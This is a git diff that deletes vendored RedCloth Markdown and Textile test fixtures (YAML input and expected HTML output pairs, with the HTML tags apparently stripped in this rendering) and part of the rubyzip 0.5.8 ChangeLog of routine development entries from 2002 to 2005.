    Foo
    - - This is another regular paragraph. -out: |- -

    This is a regular paragraph.

    - - - - - - -
    Foo
    -

    This is another regular paragraph.

    ---- -in: '"Larry Bird":http://images.google.com/images?num=30&q=larry+bird' -out: '

    "Larry Bird":http://images.google.com/images?num=30&q=larry+bird

    ' ---- -in: '©' -out:

    ©

    ---- -in: AT&T -out:

    AT&T

    - -# We don't do this. -# --- -# in: 4 < 5 -# out: 4 < 5 ---- -in: | - This is an H1 - ============= - - This is an H2 - ------------- -out: |- -

    This is an H1

    - -

    This is an H2

    ---- -in: | - # This is an H1 - - ## This is an H2 - - ###### This is an H6 -out: |- -

    This is an H1

    - -

    This is an H2

    - -
    This is an H6
    ---- -in: | - > This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, - > consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. - > Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. - > - > Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse - > id sem consectetuer libero luctus adipiscing. -out: |- -
    -

    This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, - consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. - Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.

    - -

    Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse - id sem consectetuer libero luctus adipiscing.

    - -
    ---- -in: | - > This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, - consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. - Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. - > - > Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse - id sem consectetuer libero luctus adipiscing. -out: |- -
    -

    This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, - consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. - Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.

    - -

    Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse - id sem consectetuer libero luctus adipiscing.

    - -
    ---- -in: | - > This is the first level of quoting. - > - > > This is nested blockquote. - > - > Back to the first level. -out: |- -
    -

    This is the first level of quoting.

    -
    -

    This is nested blockquote.

    - -
    - - - -

    Back to the first level.

    - -
    ---- -in: | - > ## This is a header. - > - > 1. This is the first list item. - > 2. This is the second list item. - > - > Here's some example code: - > - > return shell_exec("echo $input | $markdown_script"); -out: |- -
    -

    This is a header.

    - - - -

    1. This is the first list item. - 2. This is the second list item.

    - -

    Here's some example code:

    -
    return shell_exec("echo $input | $markdown_script");
    - -
    ---- -in: | - * * * - - *** - - ***** - - - - - - - --------------------------------------- - - _ _ _ -out: |- -
    - -
    - -
    - -
    - -
    - -
    ---- -in: | - This is [an example](http://example.com/ "Title") inline link. - - [This link](http://example.net/) has no title attribute. -out: |- -

    This is an example inline link.

    - -

    This link has no title attribute.

    ---- -in: See my [About](/about/) page for details. -out:

    See my About page for details.

    ---- -in: | - This is [an example][id] reference-style link. - - This is [an example] [id] reference-style link. - - [id]: http://example.com/ "Optional Title Here" -out: |- -

    This is an example reference-style link.

    - -

    This is an example reference-style link.

    ---- -in: | - [Google][] - [Google]: http://google.com/ -out:

    Google

    ---- -in: | - Visit [Daring Fireball][] for more information. - [Daring Fireball]: http://daringfireball.net/ -out:

    Visit Daring Fireball for more information.

    ---- -in: | - I get 10 times more traffic from [Google] [1] than from - [Yahoo] [2] or [MSN] [3]. - - [1]: http://google.com/ "Google" - [2]: http://search.yahoo.com/ "Yahoo Search" - [3]: http://search.msn.com/ "MSN Search" - -out: |- -

    I get 10 times more traffic from Google than from - Yahoo or MSN.

    ---- -in: | - I get 10 times more traffic from [Google][] than from - [Yahoo][] or [MSN][]. - - [google]: http://google.com/ "Google" - [yahoo]: http://search.yahoo.com/ "Yahoo Search" - [msn]: http://search.msn.com/ "MSN Search" -out: |- -

    I get 10 times more traffic from Google than from - Yahoo or MSN.

    diff --git a/vendor/RedCloth-3.0.3/tests/poignant.yml b/vendor/RedCloth-3.0.3/tests/poignant.yml deleted file mode 100644 index 1a0f6942..00000000 --- a/vendor/RedCloth-3.0.3/tests/poignant.yml +++ /dev/null @@ -1,64 +0,0 @@ ---- # Tests from the (Poignant Guide) -in: > - h3. False - - - ! - if plastic_cup - print "Plastic cup is on the up 'n' up!" - end -
    - - - If @plastic_cup@ contains either @nil@ or @false@, you won't see anything print - to the screen. They're not on the @if@ guest list. So @if@ isn't going to run - any of the code it's protecting. - - - But @nil@ and @false@ need not walk away in shame. They may be of questionable - character, but @unless@ runs a smaller establishment that caters to the bedraggled. - The @unless@ keyword has a policy of only allowing those with a negative charge in. - Who are: @nil@ and @false@. - - -
    -    unless plastic_cup
    -      print "Plastic cup is on the down low."
    -    end
    -  
    - - - You can also use @if@ and @unless@ at the end of a single line of code, if that's - all that is being protected. - - -
    -    print "Yeah, plastic cup is up again!" if plastic_cup
    -    print "Hardly. It's down." unless plastic_cup
    -  
    - - - Now that you've met @false@, I'm sure you can see what's on next. - -out: "

    False

    \n\n\t

    \"Shape

    \n\n\t

    The cat Trady Blix. Frozen in emptiness. Immaculate whiskers rigid. Placid eyes of lake. Tail of warm icicle. Sponsored by a Very Powerful Pause Button.

    \n\n\t

    The darkness surrounding Blix can be called negative space. Hang on to that phrase. Let it suggest that the emptiness has a negative connotation. In a similar way, nil has a slightly sour note that it whistles.

    \n\n\t

    Generally speaking, everything in Ruby has a positive charge to it. This spark flows through strings, numbers, regexps, all of it. Only two keywords wear a shady cloak: nil and false draggin us down.

    \n\n\t

    You can test that charge with an if keyword. It looks very much like the do blocks we saw in the last chapter, in that both end with an end.

    \n\n\n
    \n  if plastic_cup\n    print \"Plastic cup is on the up 'n' up!\" \n  end\n
    \n\t

    If plastic_cup contains either nil or false, you won’t see anything print to the screen. They’re not on the if guest list. So if isn’t going to run any of the code it’s protecting.

    \n\n\t

    But nil and false need not walk away in shame. They may be of questionable character, but unless runs a smaller establishment that caters to the bedraggled. The unless keyword has a policy of only allowing those with a negative charge in. Who are: nil and false.

    \n\n\n
    \n  unless plastic_cup\n    print \"Plastic cup is on the down low.\" \n  end\n
    \n\t

    You can also use if and unless at the end of a single line of code, if that’s all that is being protected.

    \n\n\n
    \n  print \"Yeah, plastic cup is up again!\" if plastic_cup\n  print \"Hardly. It's down.\" unless plastic_cup\n
    \n\t

    Now that you’ve met false, I’m sure you can see what’s on next.

    " diff --git a/vendor/RedCloth-3.0.3/tests/table.yml b/vendor/RedCloth-3.0.3/tests/table.yml deleted file mode 100644 index bf5059e1..00000000 --- a/vendor/RedCloth-3.0.3/tests/table.yml +++ /dev/null @@ -1,198 +0,0 @@ -in: | - {background:#ddd}. |S|Target|Complete|App|Milestone| - |!/i/g.gif!|11/18/04|11/18/04|070|XML spec complete| - |!/i/g.gif!|11/29/04|11/29/04|011|XML spec complete (KH is on schedule)| - |!/i/g.gif!|11/29/04|11/29/04|051|XML spec complete (KH is on schedule)| - |!/i/g.gif!|11/29/04|11/29/04|081|XML spec complete (KH is on schedule)| - |!/i/g.gif!|11/19/04|11/22/04|070|Preprocessor complete| - |!/i/g.gif!|11/22/04|11/22/04|070|Dialog pass 1 builds an index file| - |!/i/g.gif!|11/24/04|11/24/04|070|Dialog pass 2 98% complete| - |!/i/g.gif!|11/30/04|11/30/04|070|Feature complete. Passes end-to-end smoke test.| - |!/i/g.gif!|11/30/04|11/30/04|011|Preprocessor updates complete| - |!/i/g.gif!|11/30/04|11/30/04|051|Preprocessor updates complete| - |!/i/g.gif!|11/30/04|11/29/04|081|Preprocessor updates complete| - |!/i/w.gif!|12/02/04|.|011|Dialog pass 1 and 2 complete (98+%)| - |!/i/w.gif!|12/02/04|.|051|Dialog pass 1 and 2 complete (98+%)| - |!/i/w.gif!|12/02/04|.|081|Dialog pass 1 and 2 complete (98+%)| - |!/i/w.gif!|12/03/04|.|011|Feature complete| - |!/i/w.gif!|12/03/04|.|051|Feature complete| - |!/i/w.gif!|12/03/04|.|081|Feature complete| - |!/i/w.gif!|12/10/04|.|011|Deployed to Napa test workstation. Passes smoke test.| - |!/i/w.gif!|12/10/04|.|051|Deployed to Napa test workstation. Passes smoke test.| - |!/i/w.gif!|12/10/04|.|081|Deployed to Napa test workstation. Passes smoke test.| - |!/i/w.gif!|12/10/04|.|070|Deployed to Napa test workstation. Passes smoke test.| - |!/i/w.gif!|12/17/04|.|011|System testing complete. Begin testing with live customer data.| - |!/i/w.gif!|12/17/04|.|051|System testing complete. Begin testing with live customer data.| - |!/i/w.gif!|12/17/04|.|081|System testing complete. Begin testing with live customer data.| - |!/i/w.gif!|12/17/04|.|070|System testing complete. Begin testing with live customer data.| -out: |- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    STargetCompleteAppMilestone
    11/18/0411/18/04070XML spec complete
    11/29/0411/29/04011XML spec complete (KH is on schedule)
    11/29/0411/29/04051XML spec complete (KH is on schedule)
    11/29/0411/29/04081XML spec complete (KH is on schedule)
    11/19/0411/22/04070Preprocessor complete
    11/22/0411/22/04070Dialog pass 1 builds an index file
    11/24/0411/24/04070Dialog pass 2 98% complete
    11/30/0411/30/04070Feature complete. Passes end-to-end smoke test.
    11/30/0411/30/04011Preprocessor updates complete
    11/30/0411/30/04051Preprocessor updates complete
    11/30/0411/29/04081Preprocessor updates complete
    12/02/04011Dialog pass 1 and 2 complete (98+%)
    12/02/04051Dialog pass 1 and 2 complete (98+%)
    12/02/04081Dialog pass 1 and 2 complete (98+%)
    12/03/04011Feature complete
    12/03/04051Feature complete
    12/03/04081Feature complete
    12/10/04011Deployed to Napa test workstation. Passes smoke test.
    12/10/04051Deployed to Napa test workstation. Passes smoke test.
    12/10/04081Deployed to Napa test workstation. Passes smoke test.
    12/10/04070Deployed to Napa test workstation. Passes smoke test.
    12/17/04011System testing complete. Begin testing with live customer data.
    12/17/04051System testing complete. Begin testing with live customer data.
    12/17/04081System testing complete. Begin testing with live customer data.
    12/17/04070System testing complete. Begin testing with live customer data.
    diff --git a/vendor/RedCloth-3.0.3/tests/textism.yml b/vendor/RedCloth-3.0.3/tests/textism.yml deleted file mode 100644 index 5489c04d..00000000 --- a/vendor/RedCloth-3.0.3/tests/textism.yml +++ /dev/null @@ -1,397 +0,0 @@ ---- -in: h1. Header 1 -out:

    Header 1

    ---- -in: h2. Header 2 -out:

    Header 2

    ---- -in: h3. Header 3 -out:

    Header 3

    ---- -in: |- - Any old text. - - bq. A block quotation. - - Any old text. - -out: |- -

    Any old text.

    - -
    -

    A block quotation.

    -
    - -

    Any old text.

    - ---- -in: This is covered elsewhere[1]. -out:

    This is covered elsewhere1.

    ---- -in: fn1. Down here, in fact. -out:

    1 Down here, in fact.

    ---- -in: |- - # A first item - # A second item - # A third item - # A fourth item -out: |- -
      -
    1. A first item
    2. -
    3. A second item
    4. -
    5. A third item
    6. -
    7. A fourth item
    8. -
    ---- -in: |- - * A first item - * A second item - * A third item - * A fourth item - -out: |- -
      -
    • A first item
    • -
    • A second item
    • -
    • A third item
    • -
    • A fourth item
    • -
    - ---- -in: _a phrase_ -out:

    a phrase

    ---- -in: __a phrase__ -out:

    a phrase

    ---- -in: '*a phrase*' -out:

    a phrase

    ---- -in: '**a phrase**' -out:

    a phrase

    ---- -in: Nabokov's ??Pnin?? -out:

    Nabokov’s Pnin

    ---- -in: -a phrase- -out:

    a phrase

    ---- -in: +a phrase+ -out:

    a phrase

    ---- -in: ^a phrase^ -out:

    a phrase

    ---- -in: ~a phrase~ -out:

    a phrase

    -# --- -# in: %(caps)SPAN% -# out:

    SPAN ---- -in: %{color:red}red% -out:

    red

    ---- -in: %[fr]rouge% -out:

    rouge

    ---- -in: _(big)red_ -out:

    red

    ---- -in: p(bob). A paragraph -out:

    A paragraph

    ---- -in: p{color:#ddd}. A paragraph -out:

    A paragraph

    ---- -in: p[fr]. A paragraph -out:

    A paragraph

    ---- -in: h2()>. right-aligned header2, indented 1em both side -out:

    right-aligned header2, indented 1em both side

    ---- -in: h3=. centered header -out:

    centered header

    ---- -in: '!>/image.gif! right-aligned image' -out:

    right-aligned image

    ---- -in: p[no]{color:red}. A Norse of a different colour. -out:

    A Norse of a different colour.

    ---- -in: |- - |This|is|a|simple|table| - |This|is|a|simple|row| -out: |- - - - - - - - - - - - - - - - -
    Thisisasimpletable
    Thisisasimplerow
    ---- -in: |- - table{border:1px solid black}. - |This|is|a|row| - |This|is|a|row| -out: |- - - - - - - - - - - - - - -
    Thisisarow
    Thisisarow
    ---- -in: '{background:#ddd}. |This|is|a|row|' -out: |- - - - - - - - -
    Thisisarow
    ---- -in: |- - |{background:#ddd}. Cell with gray background| - |\2. Cell spanning 2 columns| - |/3. Cell spanning 3 rows| - |>. Right-aligned cell| -out: |- - - - - - - - - - - - - - -
    Cell with gray background
    Cell spanning 2 columns
    Cell spanning 3 rows
    Right-aligned cell
    -# --- -# in: |- -# This is a "link":bob to Bob's website. -# -# [bob]http://itsbob.com/index.html ---- -in: ACLU(American Civil Liberties Union) -out:

    ACLU

    ---- -in: |- - h2{color:green}. This is a title - - h3. This is a subhead - - p{color:red}. This is some text of dubious character. Isn't the use of "quotes" just lazy writing -- and theft of 'intellectual property' besides? I think the time has come to see a block quote. - - bq[fr]. This is a block quote. I'll admit it's not the most exciting block quote ever devised. - - Simple list: - - #{color:blue} one - # two - # three - - Multi-level list: - - # one - ## aye - ## bee - ## see - # two - ## x - ## y - # three - - Mixed list: - - * Point one - * Point two - ## Step 1 - ## Step 2 - ## Step 3 - * Point three - ** Sub point 1 - ** Sub point 2 - - - Well, that went well. How about we insert an old-fashioned hypertext link? Will the quote marks in the tags get messed up? No! - - "This is a link (optional title)":http://www.textism.com - - table{border:1px solid black}. - |_. this|_. is|_. a|_. header| - <{background:gray}. |\2. this is|{background:red;width:200px}. a|^<>{height:200px}. row| - |this|<>{padding:10px}. is|^. another|(bob#bob). row| - - An image: - - !/common/textist.gif(optional alt text)! - - # Librarians rule - # Yes they do - # But you knew that - - Some more text of dubious character. Here is a noisome string of CAPITAL letters. Here is something we want to _emphasize_. - That was a linebreak. And something to indicate *strength*. Of course I could use my own HTML tags if I felt like it. - - h3. Coding - - This is some code, "isn't it". Watch those quote marks! Now for some preformatted text: - -
    -  
    -      $text = str_replace("

    %::%

    ","",$text); - $text = str_replace("%::%

    ","",$text); - $text = str_replace("%::%","",$text); - -
    -
    - - This isn't code. - - - So you see, my friends: - - * The time is now - * The time is not later - * The time is not yesterday - * We must act - -out: |- -

    This is a title

    - -

    This is a subhead

    - -

    This is some text of dubious character. Isn’t the use of “quotes” just lazy writing—and theft of ‘intellectual property’ besides? I think the time has come to see a block quote.

    - -
    -

    This is a block quote. I’ll admit it’s not the most exciting block quote ever devised.

    -
    - -

    Simple list:

    -
      -
    1. one
    2. -
    3. two
    4. -
    5. three
    6. -
    - -

    Multi-level list:

    -
      -
    1. one -
        -
      1. aye
      2. -
      3. bee
      4. -
      5. see
      6. -
      -
    2. -
    3. two -
        -
      1. x
      2. -
      3. y
      4. -
      -
    4. -
    5. three
    6. -
    - -

    Mixed list:

    -
      -
    • Point one
    • -
    • Point two -
        -
      1. Step 1
      2. -
      3. Step 2
      4. -
      5. Step 3
      6. -
      -
    • -
    • Point three -
        -
      • Sub point 1
      • -
      • Sub point 2
      • -
    • -
    - -

    Well, that went well. How about we insert an old-fashioned hypertext link? Will the quote marks in the tags get messed up? No!

    - -

    This is a link

    - - - - - - - - - - - - - - - - - - - -
    thisisaheader
    this isarow
    thisisanotherrow
    - - - -

    An image:

    - -

    optional alt text

    -
      -
    1. Librarians rule
    2. -
    3. Yes they do
    4. -
    5. But you knew that
    6. -
    - -

    Some more text of dubious character. Here is a noisome string of CAPITAL letters. Here is something we want to emphasize. - That was a linebreak. And something to indicate strength. Of course I could use my own HTML tags if I felt like it.

    - -

    Coding

    - -

    This is some code, "isn't it". Watch those quote marks! Now for some preformatted text:

    - - -
    -  
    -      $text = str_replace("<p>%::%</p>","",$text);
    -      $text = str_replace("%::%</p>","",$text);
    -      $text = str_replace("%::%","",$text);
    -  
    -  
    -  
    -

    This isn’t code.

    - -

    So you see, my friends:

    -
      -
    • The time is now
    • -
    • The time is not later
    • -
    • The time is not yesterday
    • -
    • We must act
    • -
    - diff --git a/vendor/rubyzip-0.5.8/ChangeLog b/vendor/rubyzip-0.5.8/ChangeLog deleted file mode 100644 index 1bb67582..00000000 --- a/vendor/rubyzip-0.5.8/ChangeLog +++ /dev/null @@ -1,1273 +0,0 @@ -2005-03-17 18:11 thomas - - * NEWS, README, lib/zip/zip.rb: [no log message] - -2005-03-17 18:04 thomas - - * install.rb: Fixed install.rb - -2005-03-03 18:38 thomas - - * Rakefile: [no log message] - -2005-02-27 16:23 thomas - - * lib/zip/ziprequire.rb: Added documentation to ziprequire - -2005-02-27 16:17 thomas - - * README, TODO, lib/zip/ziprequire.rb: Added documentation to - ziprequire - -2005-02-27 15:02 thomas - - * Rakefile, test/ziptest.rb: [no log message] - -2005-02-19 21:30 thomas - - * lib/zip/ioextras.rb, lib/zip/stdrubyext.rb, - lib/zip/tempfile_bugfixed.rb, lib/zip/zip.rb, - lib/zip/ziprequire.rb, test/ioextrastest.rb, - test/stdrubyexttest.rb, test/zipfilesystemtest.rb, - test/ziprequiretest.rb, test/ziptest.rb: Added more rdoc and - changed the remaining tests to Test::Unit - -2005-02-19 20:28 thomas - - * lib/zip/: ioextras.rb, zip.rb: Added documentation to - ZipInputStream and ZipOutputStream - -2005-02-18 10:27 thomas - - * README: [no log message] - -2005-02-17 23:21 thomas - - * README, Rakefile: Added ppackage (publish package) task to - Rakefile - -2005-02-17 22:49 thomas - - * README, Rakefile, TODO: Added pdoc (publish doc) task to Rakefile - -2005-02-17 21:27 thomas - - * README, Rakefile, TODO, lib/zip/stdrubyext.rb, lib/zip/zip.rb, - lib/zip/zipfilesystem.rb: Added a bunch of documentation - -2005-02-17 09:47 thomas - - * test/ziptest.rb: [no log message] - -2005-02-16 20:04 thomas - - * NEWS, README, Rakefile: Improved documentation and added rdoc - task to Rakefile - -2005-02-16 19:01 thomas - - * NEWS, Rakefile, lib/zip/zip.rb: [no log message] - -2005-02-16 18:47 thomas - - * Rakefile, samples/example.rb, samples/example_filesystem.rb, - samples/gtkRubyzip.rb, samples/write_simple.rb, - samples/zipfind.rb, test/.cvsignore, test/gentestfiles.rb: - Improvements to Rakefile - -2005-02-15 23:35 thomas - - * NEWS, TODO: [no log message] - -2005-02-15 23:26 thomas - - * Rakefile, rubyzip.gemspec: Now uses Rake to build gem - -2005-02-15 22:52 thomas - - * Rakefile: [no log message] - -2005-02-15 22:39 thomas - - * lib/zip/zip.rb, test/.cvsignore, test/ziptest.rb, NEWS: Fixed - compatibility issue with ruby 1.8.2. Migrated test suite to - Test::Unit - -2005-02-15 22:10 thomas - - * NEWS, lib/zip/ioextras.rb, lib/zip/stdrubyext.rb, - lib/zip/tempfile_bugfixed.rb, lib/zip/zip.rb, - lib/zip/zipfilesystem.rb, lib/zip/ziprequire.rb, test/.cvsignore, - test/file1.txt, test/file1.txt.deflatedData, test/file2.txt, - test/gentestfiles.rb, test/ioextrastest.rb, - test/notzippedruby.rb, test/rubycode.zip, test/rubycode2.zip, - test/stdrubyexttest.rb, test/testDirectory.bin, - test/zipWithDirs.zip, test/zipfilesystemtest.rb, - test/ziprequiretest.rb, test/ziptest.rb, test/data/.cvsignore, - test/data/file1.txt, test/data/file1.txt.deflatedData, - test/data/file2.txt, test/data/notzippedruby.rb, - test/data/rubycode.zip, test/data/rubycode2.zip, - test/data/testDirectory.bin, test/data/zipWithDirs.zip: Changed - directory structure - -2005-02-13 22:44 thomas - - * Rakefile, TODO: [no log message] - -2005-02-13 22:38 thomas - - * rubyzip.gemspec: [no log message] - -2005-02-13 21:53 thomas - - * install.rb: Made install.rb independent of the current path - (fixes bug reported by Drew Robinson) - -2004-12-12 11:22 thomas - - * NEWS, TODO, samples/write_simple.rb: Fixed 'version needed to - extract'-field wrong in local headers - -2004-05-02 15:17 thomas - - * rubyzip.gemspec: Added gemspec contributed by Chad Fowler - -2004-04-02 07:25 thomas - - * NEWS: Fix for FreeBSD 4.9 - -2004-03-29 00:28 thomas - - * NEWS: [no log message] - -2004-03-28 17:59 thomas - - * NEWS: [no log message] - -2004-03-27 16:09 thomas - - * test/stdrubyexttest.rb: Patch for stdrubyext.rb from Nobu Nakada - -2004-03-27 15:30 thomas - - * test/: ioextrastest.rb, stdrubyexttest.rb: converted some files - to unix line-endings - -2004-03-25 16:34 thomas - - * NEWS, install.rb: Significantly reduced memory footprint when - modifying zip files - -2004-03-16 18:20 thomas - - * install.rb, test/alltests.rb, test/ioextrastest.rb, - test/stdrubyexttest.rb, test/ziptest.rb: IO utility classes moved - to new file ioextras.rb. Tests moved to new file ioextrastest.rb - -2004-02-27 13:21 thomas - - * NEWS: Optimization to avoid decompression and recompression - -2004-01-30 16:17 thomas - - * NEWS: [no log message] - -2004-01-30 16:07 thomas - - * README, test/zipfilesystemtest.rb, test/ziptest.rb: Applied - extra-field patch - -2003-12-13 16:57 thomas - - * TODO: [no log message] - -2003-12-10 00:25 thomas - - * test/ziptest.rb: (Temporary) fix to bug reported by Takashi Sano - -2003-08-23 09:42 thomas - - * test/ziptest.rb, NEWS: Fixed ZipFile.get_ouput_stream bug - data - was never written to zip - -2003-08-21 16:05 thomas - - * install.rb: [no log message] - -2003-08-21 16:01 thomas - - * alltests.rb, stdrubyexttest.rb, zipfilesystemtest.rb, - ziprequiretest.rb, ziptest.rb, test/alltests.rb, - test/stdrubyexttest.rb, test/zipfilesystemtest.rb, - test/ziprequiretest.rb, test/ziptest.rb: Moved all test ruby - files to test/ - -2003-08-21 15:54 thomas - - * NEWS, install.rb, stdrubyext.rb, stdrubyexttest.rb, zip.rb, - zipfilesystem.rb, zipfilesystemtest.rb, ziprequire.rb, - ziprequiretest.rb, ziptest.rb, samples/example.rb, - samples/example_filesystem.rb, samples/gtkRubyzip.rb, - samples/zipfind.rb: Moved all production source files to zip/ so - they are in the same dir as when they are installed - -2003-08-21 15:31 thomas - - * NEWS, TODO, alltests.rb: [no log message] - -2003-08-21 15:26 thomas - - * filearchive.rb, filearchivetest.rb, fileutils.rb: Removed - filearchive.rb, filearchivetest.rb and fileutils.rb - -2003-08-21 15:24 thomas - - * samples/.cvsignore, samples/example_filesystem.rb, zip.rb: Added - samples/example_filesystem.rb. Fixed Tempfile creation for - entries created with get_output_stream where entries were in a - subdirectory - -2003-08-21 15:15 thomas - - * zip.rb, ziptest.rb: Fixed mkdir bug. ZipFile.mkdir didn't work if - the zipfile doesn't exist already - -2003-08-21 15:05 thomas - - * ziptest.rb: [no log message] - -2003-08-21 14:53 thomas - - * TODO, zipfilesystemtest.rb: Globbing test placeholder commented - out - -2003-08-21 14:32 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented ZipFsDir.new - and open - -2003-08-21 14:19 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented DirFsIterator - and tests - -2003-08-20 22:50 thomas - - * NEWS, TODO: [no log message] - -2003-08-20 22:45 thomas - - * zipfilesystemtest.rb: [no log message] - -2003-08-20 22:44 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsDir.foreach, ZipFsDir.entries now reimplemented in terms of - it - -2003-08-20 22:25 thomas - - * README: [no log message] - -2003-08-20 18:08 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: [no log message] - -2003-08-20 17:30 thomas - - * zipfilesystem.rb: All access from ZipFsFile and ZipFsDir to - ZipFile is now routed through ZipFileNameMapper which has the - single responsibility of mapping entry/filenames - -2003-08-20 17:18 thomas - - * alltests.rb, stdrubyext.rb, stdrubyexttest.rb: Added - stdrubyexttest.rb and added test test_select_map - -2003-08-20 16:10 thomas - - * zipfilesystem.rb: ZipFsDir was in the wrong module. ZipFileSystem - now has a ctor that creates ZipFsDir and ZipFsFile instances, - instead of creating them lazily. It then passes the dir instance - to the file instance and vice versa - -2003-08-20 15:55 thomas - - * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: ZipFsFile.open - honours chdir - -2003-08-20 15:39 thomas - - * stdrubyext.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb, - ziptest.rb: Fixed ZipEntry::parent_as_string. Implemented - ZipFsDir.chdir, pwd and entries including test - -2003-08-19 15:44 thomas - - * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsDir.mkdir - -2003-08-19 15:07 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsDir.delete (and aliases rmdir and unlink) - -2003-08-19 14:33 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Another dummy - implementation and commented out a test for select() which can be - added later - -2003-08-18 20:40 thomas - - * ziptest.rb: Honoured 1.8.0 Object.to_a deprecation warning - -2003-08-18 20:30 thomas - - * zip.rb, ziptest.rb, samples/example.rb, samples/zipfind.rb: - Converted a few more names to ruby underscore style that I missed - with the automated processing the first time around - -2003-08-18 18:39 thomas - - * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb, ziptest.rb: - Implemented Zip::ZipFile.get_output_stream - -2003-08-17 18:28 thomas - - * README, install.rb, stdrubyext.rb, zipfilesystem.rb, - zipfilesystemtest.rb: Updated README with Documentation section. - Updated install.rb. Fixed three tests that failed on 1.8.0. - -2003-08-14 05:40 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Added empty - implementations of atime and ctime - -2003-08-13 17:08 thomas - - * simpledist.rb: Moved simpledist to a separate repository called - 'misc' - -2003-08-13 16:31 thomas - - * NEWS: [no log message] - -2003-08-13 16:29 thomas - - * stdrubyext.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb, - ziprequire.rb, ziprequiretest.rb, ziptest.rb, samples/example.rb, - samples/gtkRubyzip.rb, samples/zipfind.rb: Changed all method - names to the ruby convention underscore style - -2003-08-13 15:18 thomas - - * alltests.rb, zipfilesystem.rb, zipfilesystemtest.rb: Implemented - a lot more of the stat methods. Mostly with dummy implementations - that return values that indicate that these features aren't - supported - -2003-08-13 11:44 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented more methods - and tests in zipfilesystem. Mostly empty methods as permissions - and file types other than files and directories are not supported - -2003-08-13 11:29 thomas - - * install.rb, stdrubyext.rb, zip.rb, zipfilesystem.rb, - zipfilesystemtest.rb: Addd file stdrubyext.rb and moved the - modifications to std ruby classes to it. Refactored the ZipFsStat - tests and ZipFsStat. Added Module.forwardMessages and used it to - implement the forwarding of calls in ZipFsStat - -2003-08-13 10:39 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Added - Zip::ZipFsFile::ZipFsStat and started implementing it and its - methods - -2003-08-13 10:02 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb, ziptest.rb: Updated and - added missing copyright notices - -2003-08-13 10:00 thomas - - * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: zipfilesystem.rb - is becoming big and not everyone will want to use that code. - Therefore zip.rb no longer requires it. Instead you must require - zipfilesystem.rb itself if you want to use it - -2003-08-13 09:51 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented dummy - permission test methods - -2003-08-13 06:37 thomas - - * TODO, zip.rb, ziptest.rb: Merged from patch from Kristoffer - Lunden. Fixed more 1.8.0 incompatibilites - tests run on 1.8.0 - now - -2003-08-12 19:18 thomas - - * zip.rb: Get rid of 1.8.0 warning - -2003-08-12 19:14 thomas - - * ziptest.rb: ruby 1.8.0 compatibility fix - -2003-08-12 19:13 thomas - - * NEWS, zip.rb: ruby-zlib 0.6.0 compatibility fix - -2002-12-22 20:12 thomas - - * zip.rb: [no log message] - -2002-09-16 22:11 thomas - - * NEWS: [no log message] - -2002-09-15 17:16 thomas - - * samples/zipfind.rb: [no log message] - -2002-09-15 00:02 thomas - - * samples/zipfind.rb: [no log message] - -2002-09-14 22:59 thomas - - * samples/zipfind.rb: Added simple zipfind script - -2002-09-13 23:53 thomas - - * TODO: Added TODO about openmode for zip entries binary/ascii - -2002-09-13 20:54 thomas - - * NEWS: ziptest now runs without errors with ruby-1.7.2-4 (Andy's - latest build) - -2002-09-13 20:51 thomas - - * zip.rb, ziprequiretest.rb, ziptest.rb: ziptest now runs without - errors with ruby-1.7.2-4 (Andy's latest build) - -2002-09-12 00:20 thomas - - * zipfilesystemtest.rb: Improved ZipFsFile.delete/unlink test - -2002-09-12 00:12 thomas - - * test/.cvsignore: [no log message] - -2002-09-12 00:10 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.delete/unlink - -2002-09-11 22:22 thomas - - * alltests.rb: [no log message] - -2002-09-11 22:18 thomas - - * NEWS, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: Fixed - AbstractInputStream.each_line ignored its aSeparator argument. - Implemented more ZipFsFile methods - -2002-09-11 21:28 thomas - - * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: ZipFileSystem is - now a module instead of a class, and is mixed into ZipFile, - instead of being made available as a property fileSystem - -2002-09-10 23:45 thomas - - * NEWS: Updated NEWS file - -2002-09-10 23:26 thomas - - * zip.rb: [no log message] - -2002-09-10 22:39 thomas - - * NEWS, zip.rb, ziptest.rb: Fix bug: rewind should reset lineno. - Fix bug: Deflater.read uses separate buffer from produceInput - (feeding gets/readline etc) - -2002-09-09 23:48 thomas - - * .cvsignore: [no log message] - -2002-09-09 